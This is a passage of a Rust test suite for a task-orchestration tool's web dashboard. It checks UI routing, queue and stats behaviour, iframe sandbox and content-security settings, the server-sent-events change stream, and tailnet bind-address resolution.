15760            "which?".to_owned(),
15761            String::new(),
15762            Vec::new(),
15763        );
15764        q.say("plain words").unwrap();
15765        q.thread.push(ask::Turn {
15766            who: ask::Who::Agent,
15767            body: "Settled as `merge`".to_owned(),
15768            at: jiff::Timestamp::now(),
15769            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
15770        });
15771        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
15772        let notes = &v["thread_notes_md"];
15773        assert_eq!(notes.as_array().unwrap().len(), 2);
15774        assert!(notes[0].is_null());
15775        let text = notes[1].to_string();
15776        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
15777        assert!(APP_JS.contains("ask-turn-note"));
15778    }
15779
15780    #[test]
15781    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
15782        // The land panel defers to `run.status` for merged, and labels a
15783        // recorded-open PR on any finished run (superseded, blocked, ...) as
15784        // last seen, never as live state.
15785        assert!(APP_JS.contains("function landView(run, raw) {"));
15786        assert!(
15787            APP_JS.contains(
15788                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
15789            )
15790        );
15791        assert!(APP_JS.contains("const pr = landView(run, raw);"));
15792        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
15793        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
15794        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
15795    }
15796
15797    #[test]
15798    fn live_runs_are_never_hidden_or_folded_as_superseded() {
15799        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
15800        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
15801        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
15802        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
15803    }
15804
15805    #[test]
15806    fn review_rounds_label_a_distinct_verified_head() {
15807        assert!(APP_JS.contains("round.verified_head"));
15808        assert!(APP_JS.contains("verified HEAD"));
15809        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
15810    }
15811
15812    #[test]
15813    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
15814        // A blocked task's chip and note must not fall back to a queued-like
15815        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
15816        // itself by e11fc58 but never checked here.
15817        assert!(APP_JS.contains("blocked: { glyph:"));
15818        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
15819
15820        // `blocked_by` mixes task ids and question ids in the same list, and
15821        // the client can only tell them apart by checking each id against
15822        // what it actually knows - never by guessing from the id's shape.
15823        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
15824        assert!(
15825            APP_JS.contains(
15826                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
15827            ),
15828            "the note line must name what a blocked task is waiting on, not just that it is blocked"
15829        );
15830        // The classification must key off `status_str`, never off `blocked_by`
15831        // or `block_reason` merely being present - both can survive briefly
15832        // on a task a hold or a dead daemon just moved off `blocked`.
15833        assert!(APP_JS.contains("if (status === \"blocked\") {"));
15834
15835        // A question a task is blocked on gets its own node in the same
15836        // dependency graph, not just a task-shaped node with nothing known
15837        // about it.
15838        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
15839        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
15840        assert!(
15841            APP_JS.contains("location.hash = \"#/questions\";"),
15842            "a question node must jump to the Questions screen, not pretend to be a task"
15843        );
15844
15845        // `Task::answers` - decisions already made - are shown as a record on
15846        // the card, the same disclosure style as the full instruction.
15847        assert!(APP_JS.contains("Resolved questions"));
15848        assert!(APP_JS.contains("r.answersList.append("));
15849        assert!(APP_CSS.contains(".task-answers"));
15850        {
15851            let start = APP_JS
15852                .find("function updateTalkTaskRow")
15853                .expect("updateTalkTaskRow");
15854            let body = &APP_JS[start..];
15855            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
15856            assert!(
15857                body.contains(
15858                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
15859                ),
15860                "a chat-filed task row must link to the task page"
15861            );
15862            assert!(
15863                !body.contains("#/runs/") && !body.contains("#/queue/"),
15864                "the row must not branch to a run or the queue card"
15865            );
15866            assert!(APP_CSS.contains(".talk-task-link"));
15867        }
15868    }
15869
15870    #[test]
15871    fn a_task_notification_links_to_the_task_page() {
15872        // A task notice opens the task detail page, not the Backlog card.
15873        let start = APP_JS
15874            .find("function noticeLink(")
15875            .expect("noticeLink exists");
15876        let body = &APP_JS[start..];
15877        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
15878        assert!(
15879            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
15880            "a task notice's link must target the task page"
15881        );
15882        assert!(
15883            !body.contains("#/queue/"),
15884            "regression: the task link must not go back to the Backlog route"
15885        );
15886        assert!(
15887            APP_JS.contains(
15888                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
15889            ),
15890            "`#/tasks/<id>` must parse into the task route"
15891        );
15892
15893        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
15894        assert!(
15895            APP_JS.contains(
15896                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
15897            ),
15898            "`#/queue/<id>` must parse into a route carrying that id"
15899        );
15900
15901        // And the Backlog view has to actually land on the card once it can
15902        // - see consumeQueueFocus(), which renderQueue() calls on every pass
15903        // so a focus set before the queue has loaded is retried once it has.
15904        assert!(APP_JS.contains("state.queueFocus = route.id;"));
15905        assert!(APP_JS.contains("function consumeQueueFocus()"));
15906        assert!(APP_JS.contains("jumpToTask(id)"));
15907    }
15908
15909    /// Chat rows are two lines at every width: the title alone, then the
15910    /// shrinkable secondary info.
15911    #[test]
15912    fn chat_rows_put_the_title_alone_on_the_first_line() {
15913        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
15914        assert!(APP_CSS.contains(
15915            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
15916        ));
15917        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
15918        assert!(APP_JS.contains("class: \"badge talk-unread\""));
15919    }
15920
15921    #[test]
15922    fn run_rows_put_the_title_alone_on_the_first_line() {
15923        assert!(
15924            APP_CSS.contains(
15925                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
15926            )
15927        );
15928        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
15929        assert!(APP_JS.contains("class: \"card run-card\""));
15930        assert!(APP_JS.contains("class: \"repo run-id\""));
15931    }
15932
15933    /// Wide screens get a master/detail layout built from the views a phone
15934    /// drills into. These are string assertions: they pin the contract between
15935    /// the three assets, not how it looks.
15936    #[test]
15937    fn wide_screens_show_list_and_preview_side_by_side() {
15938        // One breakpoint, spelled the same in the script and the stylesheet.
15939        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
15940        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
15941        assert!(APP_CSS.contains("main[data-split]"));
15942        assert!(APP_CSS.contains("body[data-split]"));
15943
15944        // The route -> panes table, and a narrow screen opting out of it.
15945        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
15946        assert!(
15947            APP_JS.contains(
15948                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
15949            )
15950        );
15951        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
15952        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
15953        assert!(INDEX_HTML.contains("id=\"split-empty\""));
15954
15955        // Selection is derived from the route, and only ever paints a row.
15956        assert!(APP_JS.contains("function markSelected() {"));
15957        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
15958        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
15959        // The dense row must override the stacked card the 720px block sets up.
15960        assert!(
15961            APP_CSS.contains(
15962                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
15963            )
15964        );
15965
15966        // Independent scrolling: the page stops scrolling, each pane does.
15967        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
15968        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
15969        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
15970        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
15971
15972        // A refresh must never navigate: the loaders still check that their
15973        // subject is the one on screen, and crossing the breakpoint only
15974        // re-reads the hash.
15975        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
15976        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
15977        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
15978        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
15979
15980        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
15981        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
15982    }
15983
15984    #[test]
15985    fn panel_sandbox_carries_exactly_popups() {
15986        let needle = "sandbox: \"";
15987        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
15988        assert_eq!(
15989            matches.len(),
15990            1,
15991            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
15992        );
15993        let start = matches[0].0 + needle.len();
15994        let end = APP_JS[start..]
15995            .find('"')
15996            .expect("sandbox attribute value must be terminated by a closing quote");
15997        let val = &APP_JS[start..start + end];
15998        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
15999        let expected: std::collections::BTreeSet<&str> =
16000            ["allow-popups", "allow-popups-to-escape-sandbox"]
16001                .into_iter()
16002                .collect();
16003        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
16004        assert!(
16005            !tokens.contains("allow-scripts"),
16006            "allow-scripts must never be present in sandbox"
16007        );
16008        assert!(
16009            !tokens.contains("allow-same-origin"),
16010            "allow-same-origin must never be present in sandbox"
16011        );
16012    }
16013
16014    #[test]
16015    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
16016        // consumeQueueFocus() clears an active Backlog search before it can
16017        // scroll to the target card (the sections list is hidden while a
16018        // search is showing), by recursing back into renderQueue(). The
16019        // fixer's first cut nulled state.queueFocus before that recursive
16020        // call, so the second pass saw nothing to jump to and the jump was
16021        // silently dropped whenever a notification's link was opened with a
16022        // stale search still active. state.queueFocus must only be cleared
16023        // right before jumpToTask() actually runs.
16024        assert!(
16025            APP_JS.contains(
16026                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
16027            ),
16028            "the search-clearing branch must run before state.queueFocus is cleared, or the \
16029             recursive renderQueue() call has nothing left to jump to"
16030        );
16031        assert!(
16032            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
16033            "state.queueFocus must be cleared only once the jump has landed, so a card that \
16034             arrives later still gets it"
16035        );
16036        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
16037        assert!(APP_JS.contains("is not in the current Backlog."));
16038        assert!(APP_JS.contains("li.card[data-task-id=\""));
16039        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
16040        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
16041        assert!(APP_CSS.contains(".card-permalink"));
16042        assert!(APP_CSS.contains(".queue-focus-status"));
16043        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
16044    }
16045
16046    #[test]
16047    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
16048        // The task's own repro: only the link text inside .notice-meta was
16049        // clickable, so a tap on the message, the timestamp, or the card's
16050        // padding did nothing - on a phone that reads as "the card doesn't
16051        // work" even though the tiny link inside it did. Mark read / Dismiss
16052        // must keep working independently of this: `.closest("a, button")`
16053        // is what lets a tap that actually lands on those elements fall
16054        // through instead of being hijacked into a navigation.
16055        assert!(
16056            APP_JS.contains(
16057                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
16058            ),
16059            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
16060        );
16061    }
16062
16063    #[test]
16064    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
16065        assert!(
16066            APP_JS.contains("round.verified_head !== round.head"),
16067            "a round that verified an earlier commit must be visibly distinct from one that \
16068             verified the head reviewers are looking at now"
16069        );
16070        assert!(
16071            APP_JS.contains("round.verified_at"),
16072            "when a check ran must be on the wire, not just which commit"
16073        );
16074        assert!(
16075            APP_JS.contains("resource_blocked"),
16076            "a command magi never got to run (shared build cache contention) must not render \
16077             the same as a command that ran and failed"
16078        );
16079    }
16080
16081    #[test]
16082    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
16083        // Every KPI tile but Total runs and Completion names an exact
16084        // RunStatus and hands it to openRunsFiltered(), which is what wires
16085        // the click into state.runsFilter.status (matchesFilter's own
16086        // status check) rather than the coarser runsStateFilter chips. Each
16087        // status literal here must be one of the strings runSection() (and
16088        // isStale()) actually compare a run's own `status` field against -
16089        // a status this dashboard invented would filter to nothing.
16090        assert!(
16091            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
16092            "every KPI tile built through statusTile() must route its click through \
16093             openRunsFiltered, the single place that sets the Runs filter"
16094        );
16095        for (label, status) in [
16096            ("Merged", "merged"),
16097            ("Ready", "ready"),
16098            ("Blocked", "blocked"),
16099            ("Stalled", "stalled"),
16100        ] {
16101            let call = format!("statusTile(\"{label}\", t.{status}, ");
16102            assert!(
16103                APP_JS.contains(&call),
16104                "expected the {label} KPI tile built via {call}..."
16105            );
16106            assert!(
16107                APP_JS.contains(&format!("status === \"{status}\"")),
16108                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
16109                 compare a run against, not one invented only for the stats tile"
16110            );
16111        }
16112        assert!(
16113            APP_JS.contains("function openRunsFiltered(status)"),
16114            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
16115        );
16116        assert!(
16117            APP_JS.contains(
16118                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
16119            ),
16120            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
16121        );
16122        // applyRoute() only flips which view is visible for a plain `#runs`
16123        // hash - it does not itself redraw the list (see applyRoute's own
16124        // handling below) - so openRunsFiltered must call renderRuns()
16125        // itself, and must call applyRoute() too so the view flips even
16126        // when the hash string doesn't change (the operator may already be
16127        // on the Runs view when a tile is tapped, which fires no
16128        // hashchange event at all).
16129        assert!(
16130            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
16131            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
16132             hashchange event that may never fire"
16133        );
16134    }
16135
16136    #[test]
16137    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
16138        // A stats tile can leave state.runsFilter.status set to something
16139        // done-by-construction (e.g. "merged") - picking "Active" afterward
16140        // must drop it the same way an incompatible tree section is already
16141        // dropped, or the Runs list renders permanently empty with no way
16142        // for the operator to tell why.
16143        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
16144        assert!(
16145            APP_JS.contains(
16146                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
16147            ),
16148            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
16149             guard for an incompatible tree section"
16150        );
16151    }
16152
16153    #[test]
16154    fn every_stats_queue_tile_names_a_real_queue_section() {
16155        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
16156        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
16157        // (consumeQueueSectionFocus finds no matching <details> and drops
16158        // the focus) rather than fail loudly, so pin every key against the
16159        // section list it has to resolve against.
16160        assert!(
16161            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
16162            "every queue tile built through sectionTile() must route its click through \
16163             openQueueSectionFocus"
16164        );
16165        for key in ["upnext", "running", "done", "held", "blocked"] {
16166            assert!(
16167                APP_JS.contains(&format!("{{ key: \"{key}\",")),
16168                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
16169            );
16170        }
16171        // Queued and Failed intentionally both resolve to "upnext" - the
16172        // same section queueSection() itself files them under - rather than
16173        // getting a section each.
16174        for line in [
16175            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
16176            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
16177            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
16178            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
16179            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
16180            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
16181        ] {
16182            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
16183        }
16184    }
16185
16186    #[test]
16187    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
16188        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
16189        // above for the section-focus channel a stats queue tile drives:
16190        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
16191        // through the stale-search-clear recursion into renderQueue(), and
16192        // clear it only once revealQueueSection() is actually about to run -
16193        // the same trap that once silently dropped a task-focus jump.
16194        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
16195        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
16196        assert!(APP_JS.contains("function revealQueueSection(details)"));
16197        assert!(
16198            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
16199            "renderQueue() must consume both focus channels on every pass"
16200        );
16201        assert!(
16202            APP_JS.contains(
16203                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
16204            ),
16205            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
16206             the recursive renderQueue() call has nothing left to reveal"
16207        );
16208        assert!(
16209            APP_JS.contains(
16210                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
16211            ),
16212            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
16213        );
16214        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
16215        // task-focus form of the hash - a plain `#queue` navigation only
16216        // flips which view is visible. openQueueSectionFocus() must
16217        // therefore call renderQueue() itself, and applyRoute() too so the
16218        // view flips even when the hash doesn't change (the Backlog may
16219        // already be open when a tile is tapped, firing no hashchange
16220        // event at all).
16221        assert!(
16222            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
16223            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
16224             hashchange event that may never fire"
16225        );
16226    }
16227
16228    #[tokio::test]
16229    async fn the_change_stream_announces_the_current_revisions_on_connect() {
16230        let f = Fixture::start().await;
16231
16232        let mut socket = tokio::net::TcpStream::connect(f.addr)
16233            .await
16234            .expect("connect");
16235        socket
16236            .write_all(
16237                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
16238            )
16239            .await
16240            .expect("write request");
16241
16242        // Read until the first event arrives rather than to end of stream: the
16243        // stream is endless by design, which is the point of the route.
16244        let mut seen = String::new();
16245        let mut buf = [0u8; 1024];
16246        while !seen.contains("event: change") {
16247            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
16248                .await
16249                .expect("the stream must speak within five seconds")
16250                .expect("read");
16251            assert!(read > 0, "the server closed the change stream: {seen}");
16252            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
16253        }
16254
16255        assert!(
16256            seen.to_lowercase()
16257                .contains("content-type: text/event-stream"),
16258            "the browser only reconnects automatically for a real SSE stream: {seen}"
16259        );
16260        let data = seen
16261            .lines()
16262            .find_map(|l| l.strip_prefix("data:"))
16263            .expect("a data line");
16264        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
16265        assert!(
16266            payload["queue_rev"].is_u64()
16267                && payload["runs_rev"].is_u64()
16268                && payload["questions_rev"].is_u64()
16269                && payload["talks_rev"].is_u64()
16270                && payload["notifications_rev"].is_u64()
16271                && payload["loop_rev"].is_u64(),
16272            "the client needs one revision per store to know what to refetch, \
16273             and `talks_rev` is the only notification a standing talk gets - a \
16274             phone whose radio slept through a turn learns about it here, as \
16275             does one whose operator started the loop from another device: \
16276             {payload}"
16277        );
16278
16279        // The front end re-polls health on a timer and on wake, and takes the
16280        // revisions from that answer whenever the stream is not up. So health
16281        // has to carry every key the stream carries: a phone on a link that
16282        // will not hold an SSE connection is exactly the phone that must still
16283        // notice a question, and a missing key there is not a 500 but a UI
16284        // that quietly stops updating.
16285        let health = f.get("/api/health").await.json();
16286        for key in [
16287            "queue_rev",
16288            "runs_rev",
16289            "questions_rev",
16290            "talks_rev",
16291            "notifications_rev",
16292            "loop_rev",
16293        ] {
16294            assert!(
16295                health[key].is_u64(),
16296                "health is the change stream's fallback and is missing `{key}`: {health}"
16297            );
16298        }
16299    }
16300
16301    #[tokio::test]
16302    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
16303        let f = Fixture::start().await;
16304        let before = f.get("/api/health").await.json()["talks_rev"]
16305            .as_u64()
16306            .expect("talks_rev");
16307
16308        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
16309        std::thread::sleep(Duration::from_millis(10));
16310        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
16311        on_disk.turns.push(crate::talk::Turn {
16312            breaks: Some(Vec::new()),
16313            messages: Vec::new(),
16314            posted_by: None,
16315            who: crate::talk::Who::Operator,
16316            body: "a new turn".to_owned(),
16317            at: Timestamp::now(),
16318            attachments: Vec::new(),
16319            usage: None,
16320        });
16321        f.talks().put(&mut on_disk).expect("record a turn");
16322
16323        let after = f.get("/api/health").await.json()["talks_rev"]
16324            .as_u64()
16325            .expect("talks_rev");
16326        assert_ne!(
16327            before, after,
16328            "a phone must be able to notice a talk's reply without polling every store"
16329        );
16330    }
16331
16332    #[test]
16333    fn bind_reads_back_from_the_spelling_the_cli_prints() {
16334        // The CLI shows the default in `--help` and parses whatever comes
16335        // back, so the two directions have to agree or `--bind auto` breaks
16336        // the moment someone copies the help text.
16337        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
16338            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
16339        }
16340        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
16341        assert!("everywhere".parse::<Bind>().is_err());
16342    }
16343
16344    #[test]
16345    fn an_explicit_bind_address_is_taken_verbatim() {
16346        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
16347
16348        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
16349
16350        assert_eq!(addr, asked);
16351        assert!(
16352            warning.is_none(),
16353            "an operator who named an address gets no lecture"
16354        );
16355    }
16356
16357    #[test]
16358    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
16359        let (addr, warning) = resolve_bind(&Bind::Auto);
16360
16361        // This has to hold on a CI runner with no `tailscale` and on a dev box
16362        // with one, so the invariant asserted is the one shared by both
16363        // outcomes: the address is either a real tailnet address offered
16364        // without comment, or loopback with an explanation. What must never
16365        // happen is a silent fallback - an operator told "listening on
16366        // 127.0.0.1" with no reason would go looking for a firewall.
16367        match addr {
16368            IpAddr::V4(ip) if is_tailnet(&ip) => {
16369                assert!(warning.is_none(), "a tailnet address needs no warning");
16370            }
16371            other => {
16372                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
16373                let warning = warning.expect("a fallback has to explain itself");
16374                assert!(
16375                    warning.contains("127.0.0.1") && warning.contains("local-only"),
16376                    "the warning says what happened and what it costs: {warning}"
16377                );
16378            }
16379        }
16380    }
16381
16382    #[test]
16383    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
16384        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
16385        // boundary cases are what stop us binding to some other tool's idea of
16386        // an address.
16387        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
16388        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
16389        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
16390        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
16391        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
16392    }
16393
16394    #[test]
16395    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
16396        let ids = vec![
16397            "20260902-140501-aaaa".to_owned(),
16398            "20260902-140502-aabb".to_owned(),
16399        ];
16400
16401        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
16402        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
16403        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
16404
16405        assert_eq!(missing.status, StatusCode::NOT_FOUND);
16406        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
16407        assert_eq!(short, "20260902-140502-aabb");
16408    }
16409    #[tokio::test]
16410    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
16411        // The prompt tells agents to reference attachments by bare filename.
16412        // A document served at `.../panel` resolves `shot.png` against its own
16413        // directory, i.e. `.../shot.png`, which is not the asset route - so a
16414        // panel written exactly as instructed showed broken images. Caught by
16415        // looking at a real one in a browser, not by reading the code.
16416        let fx = Fixture::start().await;
16417        let id = panel(
16418            &fx,
16419            "<img src=\"shot.png\">",
16420            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
16421        );
16422
16423        // The frame's own URL ends in a filename, so its siblings are reachable.
16424        let doc = fx
16425            .get(&format!("/api/questions/{id}/panel/index.html"))
16426            .await;
16427        assert_eq!(doc.status, 200, "{}", doc.body);
16428        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
16429
16430        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
16431        assert_eq!(sibling.status, 200, "{}", sibling.body);
16432        assert_eq!(sibling.header("content-type"), Some("image/png"));
16433        assert_eq!(
16434            sibling.header("content-security-policy"),
16435            Some(PANEL_CSP),
16436            "the sibling route must carry the same policy as the asset route"
16437        );
16438
16439        // The original spelling keeps working: HEAD on it is how the front end
16440        // decides whether to mount a frame at all.
16441        assert_eq!(
16442            fx.head(&format!("/api/questions/{id}/panel")).await.status,
16443            200
16444        );
16445    }
16446
16447    #[test]
16448    fn delta_stamps_cover_add_update_remove_and_noop() {
16449        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
16450        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
16451        let delta = diff_stamps(&before, &after, 42);
16452        assert_eq!(delta.base, 42);
16453        assert_eq!(delta.changed, ["b", "c"]);
16454        assert_eq!(delta.removed, ["a"]);
16455        let same = diff_stamps(&after, &after, 43);
16456        assert!(same.changed.is_empty() && same.removed.is_empty());
16457        assert_ne!(stamps_revision(&before), stamps_revision(&after));
16458        let nanos: Stamps = [("b".into(), (2, 20))].into();
16459        let same_ms: Stamps = [("b".into(), (3, 20))].into();
16460        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
16461        assert_eq!(stamps_revision(&Stamps::new()), 0);
16462    }
16463
16464    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
16465        std::fs::create_dir_all(home.join("runs")).unwrap();
16466        Arc::new(Ui::new(
16467            Queue::at(home.join("queue")),
16468            Questions::at(home.join("questions")),
16469            Talks::at(home.join("talks")),
16470            home.join("runs"),
16471            home.to_owned(),
16472            PathBuf::from("/repo/magi"),
16473        ))
16474    }
16475
16476    #[tokio::test]
16477    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
16478        let home = TempDir::new().unwrap();
16479        let ui = delta_test_ui(home.path());
16480        let mut task = Task::new(
16481            "stream task".into(),
16482            "text".into(),
16483            PathBuf::from("/repo"),
16484            Source::Human,
16485        );
16486        ui.queue.put(&mut task).unwrap();
16487        let response = events(State(ui.clone())).await.into_response();
16488        let mut stream = response.into_body().into_data_stream();
16489        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
16490            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
16491                .await
16492                .unwrap()
16493                .unwrap()
16494                .unwrap();
16495            let text = String::from_utf8(chunk.to_vec()).unwrap();
16496            let data = text
16497                .lines()
16498                .find_map(|line| {
16499                    line.strip_prefix("data: ")
16500                        .or_else(|| line.strip_prefix("data:"))
16501                })
16502                .unwrap();
16503            serde_json::from_str(data).unwrap()
16504        }
16505        let initial = change(&mut stream).await;
16506        assert!(initial.get("queue_delta").is_none());
16507        task.instruction.push_str(" changed");
16508        ui.queue.put(&mut task).unwrap();
16509        let updated = change(&mut stream).await;
16510        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
16511        assert_eq!(
16512            updated["queue_delta"]["changed"],
16513            serde_json::json!([task.id])
16514        );
16515        assert_eq!(
16516            updated["queue_rev"].as_u64(),
16517            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
16518        );
16519        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
16520        let removed = change(&mut stream).await;
